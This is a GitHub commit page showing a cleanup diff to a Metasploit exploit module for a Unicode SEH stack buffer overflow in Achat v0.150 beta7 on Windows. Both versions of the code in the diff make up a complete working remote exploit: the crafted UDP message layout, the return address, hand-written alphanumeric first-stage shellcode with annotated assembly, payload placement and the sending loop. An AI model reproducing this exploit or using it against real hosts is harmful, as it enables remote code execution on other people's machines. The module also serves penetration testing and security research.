Skip to content

Commit 86f3bca

Browse files
committed
Do minor cleanup
1 parent ac6879c commit 86f3bca

File tree

1 file changed

+24
-28
lines changed

1 file changed

+24
-28
lines changed

modules/exploits/windows/misc/achat_beta.rb

Lines changed: 24 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -15,17 +15,16 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'Achat v0.150 beta7 Buffer Overflow',
1717
'Description' => %q{
18-
This module exploits a SEH based unicode stack buffer overflow in Achat v0.150,
19-
by sending a crafted message to the default harcoded port 9256. The message
20-
overflows the stack and overwrites the SEH handler. The exploit is reliable, but
21-
depends of timing. It has two distinct threads that are overflowing the stack in
22-
the same time. Tested on Windows XP SP3 and Windows 7.
23-
The overflow was found by Peter Kasza.
18+
This module exploits an unicode SEH based stack buffer overflow in Achat v0.150. By
19+
sending a crafted message to the default port 9256 it's possible to overwrites the
20+
SEH handler. Even when the exploit is reliable it depends of timing since there are
21+
two threads overflowing the stack in the same time. This module has been tested on
22+
Windows XP SP3 and Windows 7.
2423
},
2524
'Author' =>
2625
[
27-
'Balazs Bucsay <balazs.bucsay[-at-]rycon[-dot-]hu>', # Exploit, Metasploit module
28-
'Peter Kasza <peter.kasza[-at-]itinsight[-dot-]hu>' # Vulnerability discovery
26+
'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery
27+
'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module
2928
],
3029
'License' => MSF_LICENSE,
3130
'References' =>
@@ -45,24 +44,23 @@ def initialize(info = {})
4544
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
4645
'EncoderOptions' =>
4746
{
48-
'BufferRegister' => 'EAX',
47+
'BufferRegister' => 'EAX'
4948
}
50-
5149
},
5250
'Platform' => 'win',
5351
'Targets' =>
5452
[
55-
# Tested OK Windows XP SP3, Windows 7
56-
# Not working on Windows Server 2003
57-
[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ], #AChat.exe
53+
# Tested OK Windows XP SP3, Windows 7
54+
# Not working on Windows Server 2003
55+
[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] #ppr from AChat.exe
5856
],
5957
'Privileged' => false,
6058
'DefaultTarget' => 0,
6159
'DisclosureDate' => 'Dec 18 2014'))
6260

6361
register_options(
6462
[
65-
Opt::RPORT(9256),
63+
Opt::RPORT(9256)
6664
], self.class)
6765
end
6866

@@ -85,20 +83,20 @@ def exploit
8583
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
8684
# 59 POP ECX # padding
8785
# 0039 ADD BYTE PTR DS:[ECX],BH # padding
88-
firststage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
86+
first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
8987

90-
sploit = "A0000000002#Main" + "\x00" + "Z"*114688 + "\x00" + "A"*10 + "\x00"
91-
sploit << "A0000000002#Main" + "\x00" + "A"*57288 + "AAAAASI"*50 + "A"*(3750-46)
92-
sploit << "\x62" + "A"*45 # 0x62 will be used to calculate the right offset
88+
sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"
89+
sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)
90+
sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset
9391
sploit << "\x61\x40" # POPAD + INC EAX
9492

9593
sploit << target.ret # AChat.exe p/p/r address
9694

9795
# adjusting the first thread's unicode payload, tricky asm-fu
98-
# the first seh exception jumps here, firststage variable will be executed
96+
# the first seh exception jumps here, first_stage variable will be executed
9997
# by the second seh exception as well. It needs to be in sync with the second
10098
# thread, so that is why we adjust eax/ebp to have a close pointer to the
101-
# payload, then firststage variable will take the rest of the job.
99+
# payload, then first_stage variable will take the rest of the job.
102100
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
103101
# 55 PUSH EBP # ebp with close pointer to payload
104102
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
@@ -113,22 +111,20 @@ def exploit
113111
# 50 PUSH EAX # saving eax
114112
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
115113
# 5D POP EBP # mov ebp, eax
116-
sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + "C"*9 + "\x60\x43"
114+
sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"
117115
sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
118-
sploit << "\x2A" + firststage + "C"*(157-firststage.length-31-3) # put address of the payload to EAX
119-
sploit << payload.encoded + "A"*(1152-payload.encoded.length) # placing the payload
120-
sploit << "\x00" + "A"*10 + "\x00"
121-
116+
sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 -3) # put address of the payload to EAX
117+
sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload
118+
sploit << "\x00" + 'A' * 10 + "\x00"
122119

123120
i = 0
124121
while i < sploit.length do
125122
if i > 172000
126123
Rex::sleep(1.0)
127124
end
128-
udp_sock.put(sploit[i..i+8192-1])
129-
i += 8192
125+
sent = udp_sock.put(sploit[i..i + 8192 - 1])
126+
i += sent
130127
end
131-
132128
disconnect_udp
133129
end
134130

0 commit comments

Comments
 (0)